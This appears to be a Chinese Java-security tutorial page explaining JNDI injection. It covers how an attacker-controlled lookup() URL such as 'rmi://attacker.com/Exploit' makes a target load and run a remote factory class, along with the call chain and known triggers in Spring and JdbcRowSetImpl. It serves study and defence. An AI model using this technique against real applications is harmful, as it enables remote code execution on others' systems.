Java安全
Java 基础知识
01概述
02变量
03运算符
04程序控制语句
05数组
06面向对象编程
07代码练习
08重载
09作用域
10构造方法&构造器
11this
12包
13修饰符
14封装
15继承
16super
17覆盖&重写
18多态
19零钱通项目
20类变量&类方法
21抽象类
22接口
23内部类
24枚举
25泛型
26常用API
27lambda表达式
28正则表达式
29异常
30File&IO流
31日志技术
32多线程
33网络编程
01反射
02反序列化
03JVM
04JDBC
05RMI
06JRMP
07JNDI
08CDI
09JPA
10Servlet
11Filter
12MVC模型
13MVC框架
14类的加载机制
15Maven
16注解
17ORM
18CC链
19JNDI注入
Log4j2
-
+
首页
19JNDI注入
## 概述 JNDI 注入是一种利用 JNDI 机制的安全漏洞,指攻击者通过控制 JNDI lookup 的输入参数,诱导目标应用程序加载并执行恶意代码,最终实现远程代码执行(RCE)。 JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。 ```java String userInput = request.getParameter("serviceName"); // 攻击者可控 Context ctx = new InitialContext(); // 如果userInput是 "rmi://attacker.com/Exploit" Object obj = ctx.lookup(userInput); // <-- 这里被注入! ```  疑问:不应该是RMI服务器最终执行远程方法吗,为什么目标服务器lookup()传入一个恶意的RMI服务地址,会被执行恶意代码呢? 在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。 绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。 当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。 ## 流程 > 触发点 JNDI 服务(如 LDAP/RMI)可以返回Reference对象(JNDI 中用于表示 “对象引用” 的类),该对象包含目标类的全限定名和类的加载地址(如 HTTP 服务器上的.class文件路径)。 当目标应用通过lookup获取到Reference时,会自动根据Reference中的信息: - 尝试从本地加载该类; - 若本地不存在,会通过Codebase(类加载地址)从远程 HTTP 服务器下载并加载该类; - 加载后实例化该类,触发其构造函数或static代码块中的逻辑 —— 这就是攻击者执行恶意代码的入口。 > 全流程 1、目标代码中调用了InitialContext.lookup(URI),且URI为用户可控; 2、攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name; 3、攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类; 4、目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例; 5、攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果; 攻击目标扮演的相当于是JNDI客户端的角色,攻击者通过搭建一个恶意的RMI服务端来实施攻击。跟入lookup()函数的代码中,可以看到JNDI中对Reference类的处理逻辑,最终会调用NamingManager.getObjectInstance():  调用链: ```txt -> RegistryContext.decodeObject() -> NamingManager.getObjectInstance() -> factory.getObjectInstance() Tips:JNDI查找远程对象时InitialContext.lookup(URL)的参数URL可以覆盖一些上下文中的属性,比如:Context.PROVIDER_URL。 Spring框架的spring-tx.jar中的JtaTransactionManager.readObject()中就存在这个问题,当进行对象反序列化的时候,会执行lookup()操作,可以进行JNDI注入。 Matthias Kaiser(@matthias_kaiser)发现com.sun.rowset.JdbcRowSetImpl类的execute()也可以触发JNDI注入利用,调用过程如下: -> JdbcRowSetImpl.execute() -> JdbcRowSetImpl.prepare() -> JdbcRowSetImpl.connect() -> InitialContext.lookup(dataSource) ```
毛林
2025年11月1日 14:14
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码